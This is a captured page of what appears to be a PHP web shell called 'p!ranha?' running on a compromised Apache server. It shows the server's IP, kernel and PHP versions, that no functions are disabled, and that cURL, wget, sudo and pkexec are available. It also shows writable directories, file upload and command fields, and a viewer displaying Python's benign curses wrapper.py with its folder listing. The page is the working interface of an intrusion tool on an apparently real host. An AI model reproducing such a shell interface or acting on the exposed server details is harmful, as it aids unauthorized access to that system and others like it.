p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/curses/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/curses/wrapper.py
"""curses.wrapper

Contains one function, wrapper(), which runs another function which
should be the rest of your curses-based application.  If the
application raises an exception, wrapper() will restore the terminal
to a sane state so you can read the resulting traceback.

"""

import curses

def wrapper(func, *args, **kwds):
    """Wrapper function that initializes curses and calls another function,
    restoring normal keyboard/screen behavior on error.
    The callable object 'func' is then passed the main window 'stdscr'
    as its first argument, followed by any other arguments passed to
    wrapper().
    """

    try:
        # Initialize curses
        stdscr = curses.initscr()

        # Turn off echoing of keys, and enter cbreak mode,
        # where no buffering is performed on keyboard input
        curses.noecho()
        curses.cbreak()

        # In keypad mode, escape sequences for special keys
        # (like the cursor keys) will be interpreted and
        # a special value like curses.KEY_LEFT will be returned
        stdscr.keypad(1)

        # Start color, too.  Harmless if the terminal doesn't have
        # color; user can test with has_color() later on.  The try/catch
        # works around a minor bit of over-conscientiousness in the curses
        # module -- the error return from C start_color() is ignorable.
        try:
            curses.start_color()
        except:
            pass

        return func(stdscr, *args, **kwds)
    finally:
        # Set everything back to normal
        if 'stdscr' in locals():
            stdscr.keypad(0)
            curses.echo()
            curses.nocbreak()
            curses.endwin()
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
__init__.py
1.774 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.pyc
1.517 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.pyo
1.517 KB
November 14 2023 16:14:41
0 / 0
0644
ascii.py
2.546 KB
November 14 2023 16:14:19
0 / 0
0644
ascii.pyc
4.971 KB
November 14 2023 16:14:41
0 / 0
0644
ascii.pyo
4.971 KB
November 14 2023 16:14:41
0 / 0
0644
has_key.py
5.495 KB
November 14 2023 16:14:19
0 / 0
0644
has_key.pyc
5.798 KB
November 14 2023 16:14:41
0 / 0
0644
has_key.pyo
5.798 KB
November 14 2023 16:14:41
0 / 0
0644
panel.py
0.107 KB
November 14 2023 16:14:19
0 / 0
0644
panel.pyc
0.271 KB
November 14 2023 16:14:41
0 / 0
0644
panel.pyo
0.271 KB
November 14 2023 16:14:41
0 / 0
0644
textpad.py
7.166 KB
November 14 2023 16:14:19
0 / 0
0644
textpad.pyc
6.708 KB
November 14 2023 16:14:41
0 / 0
0644
textpad.pyo
6.708 KB
November 14 2023 16:14:41
0 / 0
0644
wrapper.py
1.642 KB
November 14 2023 16:14:19
0 / 0
0644
wrapper.pyc
1.189 KB
November 14 2023 16:14:41
0 / 0
0644
wrapper.pyo
1.189 KB
November 14 2023 16:14:41
0 / 0
0644